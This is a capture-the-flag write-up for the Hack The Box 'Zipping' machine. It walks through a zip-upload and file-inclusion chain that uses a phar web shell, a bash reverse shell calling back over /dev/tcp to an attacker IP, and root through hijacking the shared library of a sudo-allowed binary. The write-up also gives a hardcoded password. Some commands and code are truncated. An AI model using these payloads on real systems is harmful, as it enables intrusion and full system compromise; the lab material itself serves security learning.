Zipping Writeup

13 January 2024 #CTF #HTB #box #medium #linux

zipping info



$ sudo nmap -sC -sV
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


There are 2 interesting pages on the website. The first one is an upload form:

upload form

It says that it only accepts zip files, with a pdf inside. We'll come back to it later.

The second page is the shop which has several items. When clicking on an item, we load a new page with a page and id parameters:

shop page

File Upload

Let's play a bit with the file upload to get an idea of what is possible:

$ echo 'test 123' > test.pdf
$ zip test.pdf

After uploading this, we get a success message, with the path where the uploaded file is stored:

file upload success

The file is there:

$ curl
test 123

This tells us that the only check for the pdf is the file extension.

File Inclusion

The page parameter in the /shop/index.php endpoint looks like a juicy target for a file inclusion vulnerability. We can test if we can include other files by passing ../upload in the page parameter:

include upload.php from shop

It kinda works and now we know that .php is appended after the page param. It is also safe to assume that it is using require or include since it only wants php files.


Piecing together all info we gathered, we can try a cool attack involving a .phar file (PHP archive).

Let's create a file genphar.php:

$phar = new Phar('shell.phar');
$phar->addFromString('shell.php', '<?php system($_REQUEST["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

Executing this file with php will create an archive called shell.phar which contains a file shell.php with the payload above. Then we have to rename shell.phar to have a .pdf extension (remember that /upload.php only checks the extension inside the zip) and, finally, zip the rogue pdf into a legit zip archive:

$ php --define phar.readonly=0 genphar.php
$ mv shell.phar hehe.pdf
$ zip hehe.pdf

Upload this and take note of the path.

Now we should be able to use the phar:// PHP wrapper to access files inside the shell.pdf archive, and include shell.php:

$ curl '<dir>/shell.pdf%2fshell&cmd=id'
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)

Perfect, it worked. Let's get a reverse shell:

curl '<dir>/shell.pdf%2fshell' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14/3/443 0>&1"'


Our user can run a command as root without the password:

rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

It's a binary:

rektsu@zipping:/var/www/html/shop$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

We'll copy this executable to our VM to analyze it with Ghidra.

Reverse Engineering

The main() function starts by asking the user a password:

char user_input[44];
printf("Enter the password: ");
fgets(user_input, 30, stdin);

char *newline_ptr = strchr(user_input, '\n');
if (newline_ptr != NULL) {
	*newline_ptr = '\0';

if (!checkAuth(user_input)) {
	puts("Invalid password, please try again.");
	return 1;

The checkAuth() function is just a simple strcmp() with a hardcoded password:

int checkAuth(char *str) {
	int res = strcmp(str, "St0ckM4nager");
	return res == 0;

The interesting stuff is just after the password check:

local_e8 = 0x2d17550c0c040967;
local_e0 = 0xe2b4b551c121f0a;
local_d8 = 0x908244a1d000705;
local_d0 = 0x4f19043c0b0f0602;
local_c8 = 0x151a;
local_f0 = 0x657a69616b6148;

XOR((long)&local_e8, 0x22, (long)&local_f0, 8);

local_28 = dlopen(&local_e8, 1);

dlopen() is a function used to load a shared library at runtime. The path to the library is "decrypted" with the XOR() function right before being passed to dlopen().

We could reverse the XOR() function to get the original path, but we'll take the lazy approach and set a breakpoint on the dlopen() call to inspect the first parameter.

First, take note of the address of where dlopen() is called:

offset of dlopen call in Ghidra

This binary is position independent (PIE) so we get an offset instead of the absolute address of the instruction.

$ gdb ./stock
gef➤  b *main+0x124
Breakpoint 1 at 0x13de

gef➤  r
Starting program: /home/yep/CTF/HTB/machines/zipping/stock
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/".
Enter the password: St0ckM4nager

gef➤  x/s $rdi
0x7fffffffdd20: "/home/rektsu/.config/"

When hitting the breakpoint, we want to examine the rdi register (x86 64-bit calling convention) which holds the first argument of the dlopen() function.


As we can see, it is loading /home/rektsu/.config/, but it doesn't exist:

rektsu@zipping:/home/rektsu$ ls -Alh /home/rektsu/.config
total 0

We can just create the shared library and use __attribute__((constructor)) to execute a function when the library gets loaded by dlopen():

#include <stdlib.h>

void init() {

Compile the lib (use -shared to make it a shared library):

rektsu@zipping:/home/rektsu/.config$ gcc -shared libcounter.c -o

Now, after entering the password, we should get a root shell when dlopen() is called:

rektsu@zipping:/home/rektsu/.config$ sudo stock
Enter the password: St0ckM4nager

root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways